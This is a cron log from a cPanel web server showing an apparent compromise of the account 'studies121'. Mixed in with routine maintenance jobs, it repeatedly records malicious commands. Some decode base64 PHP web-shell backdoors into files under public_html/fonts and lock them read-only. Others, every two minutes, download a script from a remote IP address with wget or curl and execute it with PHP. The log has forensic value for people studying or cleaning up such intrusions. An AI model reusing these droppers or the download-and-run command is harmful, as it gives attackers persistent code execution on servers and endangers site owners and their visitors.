Sep 10 08:35:01 ip-184-168-122-23 CROND[3594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:35:01 ip-184-168-122-23 CROND[3595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 08:35:01 ip-184-168-122-23 CROND[3600]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 08:35:01 ip-184-168-122-23 CROND[3598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:35:01 ip-184-168-122-23 CROND[3597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:35:01 ip-184-168-122-23 CROND[3602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:35:01 ip-184-168-122-23 CROND[3601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:35:01 ip-184-168-122-23 CROND[3603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:36:01 ip-184-168-122-23 CROND[3732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:36:01 ip-184-168-122-23 CROND[3734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:36:01 ip-184-168-122-23 CROND[3736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:36:01 ip-184-168-122-23 CROND[3737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:36:01 ip-184-168-122-23 CROND[3735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:37:01 ip-184-168-122-23 CROND[3856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:37:01 ip-184-168-122-23 CROND[3858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:37:01 ip-184-168-122-23 CROND[3860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:37:01 ip-184-168-122-23 CROND[3861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:38:01 ip-184-168-122-23 CROND[3946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:38:01 ip-184-168-122-23 CROND[3951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:38:01 ip-184-168-122-23 CROND[3952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:38:01 ip-184-168-122-23 CROND[3949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:38:01 ip-184-168-122-23 CROND[3950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:39:02 ip-184-168-122-23 CROND[4059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:39:02 ip-184-168-122-23 CROND[4062]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 08:39:02 ip-184-168-122-23 CROND[4063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:39:02 ip-184-168-122-23 CROND[4064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:39:02 ip-184-168-122-23 CROND[4061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:40:01 ip-184-168-122-23 CROND[4289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 08:40:01 ip-184-168-122-23 CROND[4292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:40:01 ip-184-168-122-23 CROND[4293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:40:01 ip-184-168-122-23 CROND[4294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:40:01 ip-184-168-122-23 CROND[4295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:40:01 ip-184-168-122-23 CROND[4297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:40:02 ip-184-168-122-23 CROND[4299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:40:02 ip-184-168-122-23 CROND[4300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:41:01 ip-184-168-122-23 CROND[4422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:41:01 ip-184-168-122-23 CROND[4423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:41:01 ip-184-168-122-23 CROND[4424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:41:01 ip-184-168-122-23 CROND[4421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:42:01 ip-184-168-122-23 CROND[4541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:42:01 ip-184-168-122-23 CROND[4540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:42:01 ip-184-168-122-23 CROND[4545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:42:01 ip-184-168-122-23 CROND[4546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:42:01 ip-184-168-122-23 CROND[4547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:43:01 ip-184-168-122-23 CROND[4646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:43:01 ip-184-168-122-23 CROND[4645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:43:01 ip-184-168-122-23 CROND[4647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:43:01 ip-184-168-122-23 CROND[4648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:44:01 ip-184-168-122-23 CROND[4768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:44:01 ip-184-168-122-23 CROND[4770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:44:01 ip-184-168-122-23 CROND[4773]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:44:01 ip-184-168-122-23 CROND[4772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:44:01 ip-184-168-122-23 CROND[4775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:45:01 ip-184-168-122-23 CROND[4872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:45:01 ip-184-168-122-23 CROND[4877]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 08:45:01 ip-184-168-122-23 CROND[4875]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 10 08:45:01 ip-184-168-122-23 CROND[4876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 08:45:01 ip-184-168-122-23 CROND[4878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 08:45:01 ip-184-168-122-23 CROND[4879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:45:01 ip-184-168-122-23 CROND[4874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:46:01 ip-184-168-122-23 CROND[4987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 08:46:02 ip-184-168-122-23 CROND[4989]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 08:46:02 ip-184-168-122-23 CROND[4991]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 08:46:02 ip-184-168-122-23 CROND[4990]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 08:46:02 ip-184-168-122-23 CROND[4994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 08:46:02 ip-184-168-122-23 CROND[4992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 08:46:02 ip-184-168-122-23 CROND[4993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
